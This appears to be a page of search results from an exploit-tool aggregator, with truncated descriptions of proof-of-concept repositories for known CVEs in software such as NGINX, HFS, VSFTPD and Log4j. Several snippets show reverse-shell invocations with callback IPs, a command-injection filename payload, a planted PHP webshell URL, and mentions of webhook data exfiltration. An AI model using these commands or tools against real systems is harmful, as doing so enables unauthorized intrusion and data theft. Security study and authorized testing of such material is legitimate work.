36621 matches found
CVE-2026-42945-NGINX-Rift
CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...
POC-CVE-2026-19681
CVE-2026-19681 — ファイルアップロード処理におけるコマンドインジェクション（認証済み） ステータス: CONFIRMED — 6.7.2-14.el9 ラボ環境で確認（2026-08-20）。ステージングされたファイル名 p;sleep$IFS20;-EvvfJk を POST /rest/file/upload 経由で送信（コンテキストプレフィックスにメタキャラクタを含む）、続いて POST /rest/auditFile（type=scapLinux、version=1.2）が正確に 20.1 秒間停止し、エラー 106（"Error adding Tailoring...
CVE-2026-4480
エクスプロイトの実行: root@kitploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh +...
RevShell
🔥 RevShell 프로젝트 — 고급 Windows 리버스 셸 root@kitploit: ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒ ▒▀█░ ▒██████▒▒░▓█▒░██▓...
Codiad-CVE-2018-14009
codiad をインストール @ git clone https://github.com/Codiad/Codiad.git 再現手順 1. Ubuntu サーバー上に Codiad 2.8.4（最新版）の脆弱な環境をセットアップする root@kitploit: @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @ git clone...
bludit-CVE-2019-17240
bludit-CVE-2019-17240 Bluditのログイン回避策をバイパスし、悪意のあるファイルをアップロードしてリバースシェルを呼び出します。...
Abyssal
🔥 Abyssal CVE-2026-24061 Telnet 脆弱性スキャナ＆エクスプロイト 深淵より、我らは立ち上がる。 マルチスレッド、誤検知検出、成功時の対話型ルートシェル 👨💻 著者について このプロジェクトは、ネットワークセキュリティ、インフラ、ソフトウェア開発において数十年の実務経験を持つITプロフェッショナルによって構築されました。55歳の私は、正社員、フリーランサー、プロジェクトコラボレーターとして、積極的に新しい機会を求めています。経験、深い技術知識、そして問題解決に対する真摯なアプローチを重視する方は、ぜひご連絡ください。 📫...
CVE-2022-41544
CVE-2022-41544 エクスプロイトスクリプト このリポジトリには、GetSimple CMS の CVE-2022-41544 脆弱性を悪用するスクリプトが含まれています。このスクリプトは、脆弱性の確認、API キーの漏洩、Cookie の設定、CSRF トークンの取得、シェルのアップロード、シェルの起動など、複数のステップを実行します。 変更点と改善点 1. 非推奨警告への対応 : スクリプトの機能に不要だった非推奨の telnetlib インポートを削除しました。 2. エラーハンドリングの強化 : HTTP リクエストと XML...
Modified-CVE-2019-15107
CVE-2019-15107 実行前に、29行目の shellperl の LHOST と LPORT を手動で変更してください。 改変元: https://github.com/ketlerd/CVE-2019-15107...
PinTheft-asm
pintheft-asm PinTheft-go を生の x86-64 アセンブリで書き直しました。理由は特にありません。 root@kitploit: make ./pintheft ルートシェルをドロップします。終了時に復元コマンドが表示されます。 詳細は → 元のPoC を参照してください。...
CVE-2019-11447_reverse_shell_upload
CVE-2019-11447 CuteNews 2.1.2 リバースシェルアップロード Mt-Code POC を少し修正したバージョンで、Webシェルではなく完全なリバースシェルを起動します。 このエクスプロイトは、有名な PentestMonkey PHP Reverse Shell を使用しています。 インストール pip install -r requirements.txt 使用例: アプリケーション上でユーザーを作成する 次を実行する python exploit.py http://target/index.php myuser mypassword...
ZeroLogon-to-Shell
これは、zerologontester.py コードと evil-winrm ツールを組み合わせてシェルを取得するものです。evil-winrm を使用するために "os.system" を追加しただけです。 必要条件: Administrator NTLM HASH を取得するには、impacket の secretsdump ツール を使用することをお勧めします そしてもちろん、evil-winrm をインストールする必要があります これは、ほぼすべてをまとめた単純なコードです。 いくつかの参考資料: https://tryhackme.com/room/zer0logon...
FEP3370-advanced-ethical-hacking
DynoRoot CVE-2018-1111 KTHストックホルムのコース高度な倫理的ハッキングの最終プロジェクト このプロジェクトは、Dynamic Host Configuration Protocol DHCP の安全でないクライアント側実装に関連する、FedoraおよびRedHatマシンの既知の脆弱性を示しています。悪意のあるDHCPサーバーは、被害者マシンのルートシェルで実行される悪意のあるペイロードを含むDHCPオファーを巧みに作成できます。 この脆弱性はFelix Wilhelmによって報告され、CVE-2018-1111または「DynoRoot」として知られています。 目...
CVE-2021-26828-Ultimate
ScadaFlare - CVE-2021-26828 認証済みRCEエクスプロイトツールキット ScadaBR 1.1.0 を標的としたモジュール式の認証後RCEエクスプロイトで、レッドチーム運用向けに機能強化されました。 機能 viewedit.shtm を介して武器化された .jsp シェルをアップロード Linux および Windows ペイロードに対応 SOCKS5 / HTTP プロキシ対応 リバースシェルトリガー（標準または base64） 列挙モジュール（DB、認証情報、Log4Shell など） Webhook データ外部送信（Slack / Discord）...
LOGJ4_PocShell_CVE-2021-44228
log4j-shell-poc 最近発見された CVE-2021-44228 脆弱性の Proof-Of-Concept です。 最近、log4j（Java のロギングライブラリで、Elasticsearch、Minecraft など非常に広く使用されています）に新たな脆弱性が見つかりました。 このリポジトリには、脆弱なサンプルアプリケーションとその Proof-Of-Concept PoC エクスプロイトが含まれています。 概念実証 PoC PoC として、プロセスを自動化する Python ファイルがあります。 必要条件: root@kitploit: pip install -r...
webshell
webshell | English | Türkiye これはwebshell収集プロジェクトです。 人にバラを贈れば、手には余り香が残る。このプロジェクトをダウンロードした方は、ぜひshellを提出してください。 このプロジェクトは、さまざまなよく使われるスクリプトを網羅しています。 例：asp,aspx,php,jsp,pl,py webshellを提出する場合、名前とパスワードは変更しないでください。 注意：すべてのshellについてバックドアが含まれているかどうかは保証できません。ただし、私がアップロードしたものに故意にバックドアを仕込むことは絶対にありません。...
CVE-2021-30461
影響を受ける製品 VoIPmonitor 24.60 RCEの方法 root@kitploit: python3 CVE-2021-30461.py -t ipaddress ブラウザシェル: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami 参考 https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...
hfs-cve-2014-6287-exploit
HFS CVE-2014-6287 エクスプロイトツール 概要 このリポジトリには、HTTP File Server HFS バージョン 2.3.x の CVE-2014-6287 脆弱性を悪用するために設計されたPythonベースのエクスプロイトツールが含まれています。この脆弱性により、攻撃者はサーバー上で任意のコマンドを実行でき、不正アクセスや制御を引き起こす可能性があります。 ⚠️ 免責事項: このツールは教育目的および許可されたペネトレーションテストのみ...
Exploit-CVE-2011-2523
README : VSFTP 2.3.4 のエクスプロイト このPythonスクリプトは、VSFTPバージョン2.3.4に存在するバックドア脆弱性を悪用するために設計されています。このエクスプロイトにより、この特定のバージョンのVSFTPを実行しているシステムへの不正アクセスが可能になります。 使用方法 このエクスプロイトスクリプトを使用するには、以下の手順に従ってください。 リポジトリのクローン: エクスプロイトスクリプトを含むリポジトリをローカルマシンにクローンします。 依存関係のインストール:...